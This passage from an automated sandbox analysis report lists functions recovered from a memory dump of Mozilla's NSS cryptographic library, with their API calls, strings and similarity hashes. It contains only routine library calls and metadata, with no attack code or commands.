PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBDDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBDDCAD

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 507a649b96ffb08fb6c3cd2de76c98ff5f3d92563230a33d60fa09f163f4809d
Instruction ID: fad575faee12e52f8518cd25bc7dd1bebec27510a20544f96569e2a6dc54a6da
Opcode Fuzzy Hash: 507a649b96ffb08fb6c3cd2de76c98ff5f3d92563230a33d60fa09f163f4809d
Instruction Fuzzy Hash: 753160B5A012819FD710CF69F880B56B7F8EF15358F194429E988CBB01E771E944CFA2

Function 6CBA2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB9E728,?,00000038,?,?,00000000), ref: 6CBA2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CBA2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CBA2E9E
PR_Unlock.NSS3(?), ref: 6CBA2EAB
PR_Unlock.NSS3(?), ref: 6CBA2F0D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9b2f3dd267b5360b4a783302d60702ebb2e62b675a1c7439af86adbd76486695
Instruction ID: f23aec408798bca6d259d3a5365983bca4dcbc0602827e8a53badfadb217c3f6
Opcode Fuzzy Hash: 9b2f3dd267b5360b4a783302d60702ebb2e62b675a1c7439af86adbd76486695
Instruction Fuzzy Hash: FC3134B5A04545ABEF005F69EC4486AB778EF0A258B048174EC48C3A11FB32ECA5C7E2

Function 6CBECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBECD93,?), ref: 6CBECEEE

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBECD93,?), ref: 6CBECEFC

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBECD93,?), ref: 6CBECF0B

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBECD93,?), ref: 6CBECF1D

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CBECD93,?,?,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF78

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 52fda2ea89085ad304ba7c169253161c0e48fae7062796877e66f7a7a8204384
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 151196A5A0038457EB045FA66C41B6F79ECDF5C989F144439EC09D7742FB70DA0886E2

Function 6CB98C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB98C1B
EnterCriticalSection.KERNEL32 ref: 6CB98C34
PL_ArenaAllocate.NSS3 ref: 6CB98C65
PR_Unlock.NSS3 ref: 6CB98C9C
PR_Unlock.NSS3 ref: 6CB98CB6

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Strings

KRAM, xrefs: 6CB98C8F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f6ce3bb67b5f8a1b361691080dd222e52f5d89aaa63c05dd56c4988a4db46450
Instruction ID: 790b4e4d59ce5260b5901760df2ab46c22052e946b62a0f1b08d326c01cb9501
Opcode Fuzzy Hash: f6ce3bb67b5f8a1b361691080dd222e52f5d89aaa63c05dd56c4988a4db46450
Instruction Fuzzy Hash: AA214CB1A05A418FD700AF78C484569BBF4FF46304F15897ED898CB711EB36E899CB92

Function 6CC13E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_EnterMonitor.NSS3(?), ref: 6CC13E45

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

PR_EnterMonitor.NSS3(?), ref: 6CC13E5C
PR_EnterMonitor.NSS3(?), ref: 6CC13E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC13EA6

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_ExitMonitor.NSS3(?), ref: 6CC13EC0
PR_ExitMonitor.NSS3(?), ref: 6CC13ED7
PR_ExitMonitor.NSS3(?), ref: 6CC13EEE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: db5bf546a8acf606f8e41ad5d801e82ddf680099454eefa7aa93104de18fe54f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 9811A571514710ABDB319E2AFC02BC7B7A59F4131CF048834E65A86E21F636E929E742

Function 6CC92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC92CA0
PR_ExitMonitor.NSS3 ref: 6CC92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC92CD1
strdup.MOZGLUE(?), ref: 6CC92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC92D27

Strings

Loaded library %s (static lib), xrefs: 6CC92D22

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0706b6cec8b95e81dfe07a0d1c072a6006533d2675bb9365391d69ad2f169aed
Instruction ID: 43f476b92df90f283a9568800ca5658b3daeb48170099838b88312fceff876ba
Opcode Fuzzy Hash: 0706b6cec8b95e81dfe07a0d1c072a6006533d2675bb9365391d69ad2f169aed
Instruction Fuzzy Hash: FA1127B1B012509FEB508F19D854A6677B8EB4A30DF04843DEC49C7B42F731E819CBA1

Function 6CB8BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8BDCA

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BDDB

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB8BDEC

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CB8BE03

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8BE3B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 2874774d6ce6ee7651e6992ab6cb78c15201f032a5a1f5992123a0fe18ca2eae
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 31012B65A426816AF61013767C01F5F364C8F5568EF240031FE049AB83FB54E11882F6

Function 6CBE0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B
TlsGetValue.KERNEL32(00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1044
free.MOZGLUE(00000000,?,00000800,6CB7EF74,00000000), ref: 6CBE1064

Strings

security, xrefs: 6CBE1025

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 6c829f249ceaf08c7ece0f2ab6caa463081c65f751ece9cd432b92e96b36b622
Instruction ID: 7cd24d45564ca25da236a6370ee91670dcaf856fd604b59f27645b33221233b9
Opcode Fuzzy Hash: 6c829f249ceaf08c7ece0f2ab6caa463081c65f751ece9cd432b92e96b36b622
Instruction Fuzzy Hash: 33012570A402D05BE7202F2C9C04646377CEF0ABC9F290216E80896A53EB61D154DBE2

Function 6CC11C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC11C74

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC11C92
free.MOZGLUE(?), ref: 6CC11C99
DeleteCriticalSection.KERNEL32(?), ref: 6CC11CCB
free.MOZGLUE(?), ref: 6CC11CD2

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 7558c635d8e740da26a9e90b2fcd4a2399baaf2114ea409ad2fa28f39b47bc8a
Instruction ID: d23806c8d7de5780ee7e2860e8c978ec07fa38a5ea4c52eacd8216b49748b65e
Opcode Fuzzy Hash: 7558c635d8e740da26a9e90b2fcd4a2399baaf2114ea409ad2fa28f39b47bc8a
Instruction Fuzzy Hash: 8801D2B1F056325FEF60AFA99C1DB4977B8AB1F308F100124E90AA2B40FB38E1449791

Function 6CC71C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CB73D77,?,?,6CB74E1D), ref: 6CC71C8A
sqlite3_free.NSS3(00000000), ref: 6CC71CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6CC71C85
a CHECK constraint, xrefs: 6CC71C76, 6CC71C81
an index, xrefs: 6CC71C67
a generated column, xrefs: 6CC71C6C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 10880d0f9b306c28896c0a2ae9c25b611f27bb63e3f1f45d0b521df4a0087123
Instruction ID: b4c7563e2298b1b601a35199caf07e1c1cab9bd0f3c83004f3d7b720f6f97b0e
Opcode Fuzzy Hash: 10880d0f9b306c28896c0a2ae9c25b611f27bb63e3f1f45d0b521df4a0087123
Instruction Fuzzy Hash: 170128B1A001405BD700AFACD4129B177E5EF8538CB14086DEC499BB12FA32E856C761

Function 6CC22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC23046

Part of subcall function 6CC0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBF7FFB), ref: 6CC2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC22E8B

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Part of subcall function 6CC0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBF9BFF,?,00000000,00000000), ref: 6CC0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBF7FFA), ref: 6CC22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2317B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 54eca64e30f7cbd60d59bdf3d0d30a498705200dc361bcc6582f64a105f27f00
Instruction ID: 9bcbb0a29bcc752c0fd27814236f25fdd2cfdbd8bcde291854db06f36eee0385
Opcode Fuzzy Hash: 54eca64e30f7cbd60d59bdf3d0d30a498705200dc361bcc6582f64a105f27f00
Instruction Fuzzy Hash: 48A1BC71A002289FDB24CF54CC90BAAB7B5FF49318F048199E949A7741E735AE85CFA1

Function 6CBEED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CBEED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CBEEDCE

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

free.MOZGLUE(00000000,?,?,?,?,6CBEB04F), ref: 6CBEEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBEEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBEEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBEEEFB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: a42914d9c75c5394fea2003ab80c297863830bd397c722c5ae39f431dc7eb184
Instruction ID: 76ac0ffcbba227abca5da015ade7d0c4f460f6d39b2b017a62b804f0d775e22a
Opcode Fuzzy Hash: a42914d9c75c5394fea2003ab80c297863830bd397c722c5ae39f431dc7eb184
Instruction Fuzzy Hash: 03815BB5A002859FEB14CF55D880AAF77F5EF8CB88F144428E8159B751DB34E914CBE2

Function 6CBECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBEC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBEDAE2,?), ref: 6CBEC6C2

PR_Now.NSS3 ref: 6CBECD35

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

Part of subcall function 6CBD6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C3F

PR_GetCurrentThread.NSS3 ref: 6CBECD54

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

